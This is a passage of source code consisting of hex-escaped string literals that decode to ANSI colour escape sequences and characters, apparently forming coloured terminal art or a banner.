+"\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x20\x20\x20\x2e\x2e\x20\x74\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x3b\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x58" +"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b" +"\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d" +"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x74\x3b\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x40\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d" +"\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33" +"\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38" +"\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x38\x58\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x33\x3b\x34\x30\x6d\x20\x40\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33" +"\x3b\x34\x30\x6d\x25\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58" +"\x2e\x3b\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b" +"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b" +"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30" +"\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x3b\x38\x74\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x2e\x38\x3b\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x53\x20\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37" +"\x3b\x34\x30\x6d\x38\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33" +"\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d" +"\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x20\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x37\x6d\x38\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x20\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b" +"\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x53\x38" +"\x25\x53\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b" +"\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30" +"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x32\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30" +"\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x40\x58\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d" +"\x3a\x20\x2e\x25\x3b\x2e\x2e\x25\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38" +"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b" +"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d" +"\x38\x3a\x2e\x2e\x20\x20\x2e\x2e\x74\x2e\x20\x2e\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33" +"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b" +"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x25\x20\x20\x20\x2e\x20\x20" +"\x20\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33" +"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38" +"\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34" +"\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30" +"\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x20\x20\x20\x20\x2e\x20\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30" +"\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b" +"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" +"\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" 